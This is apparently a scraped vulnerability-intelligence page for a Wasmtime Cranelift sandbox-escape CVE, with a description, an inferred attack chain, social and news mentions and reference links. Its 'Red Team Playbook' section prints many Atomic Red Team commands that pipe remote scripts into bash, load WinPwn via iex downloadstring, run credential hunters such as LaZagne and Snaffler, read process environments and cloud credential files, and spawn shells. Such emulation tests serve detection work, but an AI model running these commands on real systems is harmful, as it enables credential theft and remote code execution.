CVE-2026-115889
Vulnerability Description
Wasmtime is a runtime for WebAssembly. Prior to 36.0.19 and 43.0.0, the Cranelift compiler backend bit-packs SSA value indices in a way that can silently overflow in release builds when compiling a sufficiently large or specially crafted Wasm function with many SSA values. The overflow can make Cranelift reference incorrect IR values, causing arbitrary miscompilation, type confusion, and other attacker-controlled effects that may escape the Wasm sandbox on any architecture using the default Cranelift backend. This issue is fixed in versions 36.0.19 and 43.0.0.
EPSS vs KEV Prediction — Evolution (30 days)
Affected Products
No CPE information available.
Exploits
No exploits found for this CVE.
Threat Feed
3 eventsSighting activity recorded
Sighting activity recorded
Sighting activity recorded
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns
No CAPEC pattern mapped to this CVE.
Red Team Playbook
59 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
for pid in $(pgrep -f 'Runner.Worker|Runner.Listener|runsvc|run.sh' 2>/dev/null); do tr '\0' '\n' < /proc/$pid/environ 2>/dev/null | grep -iE 'env|ssh'; done
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path} -maxdepth 6 -name "#{filename}" -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.aws/#{filename}' -type f 2>/dev/null
find #{file_path} -path '*/.azure/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.docker/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.config/gcloud/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /root -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find /etc/kubernetes -name '*.conf' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for filename in #{filenames}; do find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null; done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
for filename in #{filenames}; do
find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null
done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /etc/mysql -name 'my.cnf' -type f #{optional_flags} 2>/dev/null
find /etc/redis -name 'redis.conf' -type f #{optional_flags} 2>/dev/null
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
Mentions (16)
16 mentions from 9 sources in the last 7 days BuzzFactor 66 / 100
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social infosec.exchange @beyondmachines1 2026-10-27 10:01 UTCWasmtime Patches Critical Sandbox Escape Flaws in Cranelift Compiler Wasmtime fixed two critical vulnerabilities (CVE-2026-115889 and CVE-2026-115893) that allow malicious WebAssembly modules to escape their sandboxes and execute arbitrary…Open source
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news rescana.com 2026-10-27 07:11 UTCDreamHost Resets Some Email and FTP/SFTP Passwords as a Precaution During Ongoing Incident (October 2026) - RescanaOpen source
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news rescana.com 2026-10-27 06:59 UTCGenesys Discloses Breach of Internal LMS and CRM Systems; Genesys Cloud and Engage Not Compromised (October 2026) - RescanaOpen source
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social mastodon.social @hacksgr 2026-10-26 22:17 UTCTwo severe security flaws, each rated 9.9 out of 10, have been discovered in the Wasmtime WebAssembly runtime. Both bugs reside in Cranelift, the default compiler used by Wasmtime. CVE-2026-115889 affects all processor architectures, while…Open source
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social bsky.app @0daynews.bsky.social 2026-10-26 17:00 UTCwasmtime fixes two critical CVSS 9.9 sandbox-escape flaws in Wasmtime. Update to versions 36.0.19, 48.0.7, 49.0.4, or 50.0.0 depending on your branch. #infosec https://0daynews.com/articles/2026-10-26-wasmtime-sandbox-escape-cve-2026-11588…Open source
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news secnews.gr 2026-10-26 14:20 UTCWasmtime: Critical sandbox escape vulnerabilities - SecNews.grOpen source
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social bsky.app @newssecia.bsky.social 2026-10-26 14:10 UTC🤖 Wasmtime: two CVSS 9.9 Cranelift flaws let a crafted Wasm module escape the sandbox. CVE-2026-115889 (SSA index bit-packing overflow → miscompilation) and CVE-2026-115893 (aarch64 br_table). Patched in 36.0.19 / 43.0.0. https://github.co…Open source
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social infosec.exchange @cloud 2026-10-26 14:10 UTC🤖 Wasmtime: two CVSS 9.9 Cranelift bugs let a crafted Wasm module escape the sandbox. CVE-2026-115889 — SSA value index bit-packing silently overflows in release builds, causing miscompilation and type confusion. CVE-2026-115893 — aarch64…Open source
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social bsky.app @undercodenews.bsky.social 2026-10-26 12:56 UTCTwo Critical Wasmtime Vulnerabilities Rated CVSS 99 Could Allow WebAssembly Sandbox Escapes Across Multiple Architectures + Video Two critical vulnerabilities in Wasmtime, a widely used WebAssembly runtime, could allow malicious WebAssembl…Open source
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news thehackernews.com 2026-10-26 11:52 UTCTwo Critical Wasmtime Flaws Could Let Malicious WebAssembly Modules Escape Sandboxes - The Hacker NewsOpen source
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social bsky.app @offseq.bsky.social 2026-10-24 03:00 UTCWasmtime CRITICAL vuln (CVE-2026-115889): Numeric truncation in Cranelift backend enables sandbox escape & code exec. Affects =37.0.0 <43.0.0. Upgrade to 36.0.19 or 43.0.0+ ASAP. https://radar.offseq.com/threat/cve-2026-115889-cwe-197-nume…Open source
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social infosec.exchange @offseq 2026-10-24 03:00 UTCWasmtime Cranelift backend suffers CRITICAL (CVSS 9.9) numeric truncation vuln (CVE-2026-115889) in <36.0.19 & >=37.0.0 <43.0.0. Risk: sandbox escape & code exec. Upgrade to 36.0.19 or 43.0.0+ now. https://radar.offseq.com/threat/cve-2026-…Open source
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social bsky.app @stackflag.bsky.social 2026-10-24 02:20 UTCCVE-2026-115889 - wasmtime Versions of Wasmtime before the latest release can be tricked by a specially made WebAssembly program to break the isolation it normally provides. This could… Too many irrelevant or confusing CVEs? Use stackflag.…Open source
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social bsky.app @stemshop.bsky.social 2026-10-24 02:07 UTC🚨 CVE-2026-115889 — CVSS 9.9 CRITICAL Wasmtime is a runtime for WebAssembly. Prior to 36.0.19 and 43.0.0, the Cranelift compiler backend bit-pack... 🔎 https://stemshop.top/cve/CVE-2026-115889 #CVE #CyberSecurity #InfoSecOpen source
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social bsky.app @thehackerwire.bsky.social 2026-10-23 23:18 UTC🔴 CVE-2026-115889 - Critical (9.9) Wasmtime is a runtime for WebAssembly. Prior to 36.0.19 and 43.0.0, the Cranelift compiler backen... https://www.thehackerwire.com/vulnerability/CVE-2026-115889/ #infosec #cybersecurity #CVE #vulnerabilit…Open source
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social mastodon.social @115755483699003887 2026-10-23 23:17 UTC🔴 CVE-2026-115889 - Critical (9.9) Wasmtime is a runtime for WebAssembly. Prior to 36.0.19 and 43.0.0, the Cranelift compiler backend bit-packs SSA value indices in a way that can silently overflow in release builds when compiling a suffic…Open source
References (8)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2026-115889 |
| github.com |
GitHub CVE
x_refsource_CONFIRM
|
https://github.com/bytecodealliance/wasmtime/security/advisories/GHSA-897f-g5gm-fmxm |
| github.com |
GitHub CVE
x_refsource_MISC
|
https://github.com/bytecodealliance/wasmtime/pull/12613 |
| github.com |
GitHub CVE
x_refsource_MISC
|
https://github.com/bytecodealliance/wasmtime/pull/14818 |
| github.com |
GitHub CVE
x_refsource_MISC
|
https://github.com/bytecodealliance/wasmtime/commit/ba8f7d70caa1825b7f64fa75cd9d03f4a438dae0 |
| github.com |
GitHub CVE
x_refsource_MISC
|
https://github.com/bytecodealliance/wasmtime/commit/f517bd6e890c7c1291ab9fe05d8cc0c9f11e56aa |
| github.com |
GitHub CVE
x_refsource_MISC
|
https://github.com/bytecodealliance/wasmtime/releases/tag/v36.0.19 |
| github.com |
GitHub CVE
x_refsource_MISC
|
https://github.com/bytecodealliance/wasmtime/releases/tag/v43.0.0 |